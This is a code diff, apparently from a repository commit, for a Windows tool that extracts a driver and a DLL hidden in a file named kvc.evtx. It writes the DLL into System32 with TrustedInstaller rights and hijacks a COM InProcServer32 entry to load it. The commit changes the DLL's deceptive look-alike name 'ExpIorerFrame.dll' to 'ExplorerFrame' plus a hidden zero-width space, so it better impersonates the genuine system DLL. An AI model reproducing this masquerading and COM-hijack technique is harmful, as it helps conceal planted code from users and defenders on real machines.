@@ -1044,7 +1044,7 @@ bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes",
|
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExplorerFrame\u200B.dll=%zu bytes",
|
||||||
outKvcSys.size(), outDll.size());
|
outKvcSys.size(), outDll.size());
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
@@ -1094,7 +1094,7 @@ bool ExtractResourceComponents(int resourceId,
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes",
|
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExplorerFrame\u200B.dll: %zu bytes",
|
||||||
outKvcSys.size(), outDll.size());
|
outKvcSys.size(), outDll.size());
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
|
|||||||
@@ -152,12 +152,12 @@ namespace Utils
|
|||||||
// Decompress CAB archive from memory and extract kvc.evtx
|
// Decompress CAB archive from memory and extract kvc.evtx
|
||||||
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
|
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
|
||||||
|
|
||||||
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
|
// Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
|
||||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||||
std::vector<BYTE>& outKvcSys,
|
std::vector<BYTE>& outKvcSys,
|
||||||
std::vector<BYTE>& outDll) noexcept;
|
std::vector<BYTE>& outDll) noexcept;
|
||||||
|
|
||||||
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll)
|
// Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
|
||||||
bool ExtractResourceComponents(int resourceId,
|
bool ExtractResourceComponents(int resourceId,
|
||||||
std::vector<BYTE>& outKvcSys,
|
std::vector<BYTE>& outKvcSys,
|
||||||
std::vector<BYTE>& outDll) noexcept;
|
std::vector<BYTE>& outDll) noexcept;
|
||||||
|
|||||||
@@ -17,14 +17,14 @@ bool WatermarkManager::RemoveWatermark() noexcept
|
|||||||
{
|
{
|
||||||
INFO(L"[WATERMARK] Starting watermark removal process");
|
INFO(L"[WATERMARK] Starting watermark removal process");
|
||||||
|
|
||||||
// Extract ExpIorerFrame.dll from resource
|
// Extract ExplorerFrame\u200B.dll from resource
|
||||||
std::vector<BYTE> dllData;
|
std::vector<BYTE> dllData;
|
||||||
if (!ExtractWatermarkDLL(dllData)) {
|
if (!ExtractWatermarkDLL(dllData)) {
|
||||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size());
|
INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
|
||||||
|
|
||||||
// Get System32 path
|
// Get System32 path
|
||||||
std::wstring system32Path = GetSystem32Path();
|
std::wstring system32Path = GetSystem32Path();
|
||||||
@@ -33,7 +33,7 @@ bool WatermarkManager::RemoveWatermark() noexcept
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||||
|
|
||||||
// Write DLL using TrustedInstaller
|
// Write DLL using TrustedInstaller
|
||||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
|
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
|
||||||
@@ -85,7 +85,7 @@ bool WatermarkManager::RestoreWatermark() noexcept
|
|||||||
// 3. Teraz usuń DLL (uchwyt został zwolniony)
|
// 3. Teraz usuń DLL (uchwyt został zwolniony)
|
||||||
std::wstring system32Path = GetSystem32Path();
|
std::wstring system32Path = GetSystem32Path();
|
||||||
if (!system32Path.empty()) {
|
if (!system32Path.empty()) {
|
||||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||||
|
|
||||||
// Dodaj krótkie opóźnienie dla pewności
|
// Dodaj krótkie opóźnienie dla pewności
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
@@ -132,7 +132,7 @@ bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexce
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size());
|
DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
|
||||||
return !outDllData.empty();
|
return !outDllData.empty();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ private:
|
|||||||
static constexpr const wchar_t* CLSID_KEY =
|
static constexpr const wchar_t* CLSID_KEY =
|
||||||
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
|
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
|
||||||
static constexpr const wchar_t* HIJACKED_DLL =
|
static constexpr const wchar_t* HIJACKED_DLL =
|
||||||
L"%SystemRoot%\\system32\\ExpIorerFrame.dll";
|
L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
|
||||||
static constexpr const wchar_t* ORIGINAL_DLL =
|
static constexpr const wchar_t* ORIGINAL_DLL =
|
||||||
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
|
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user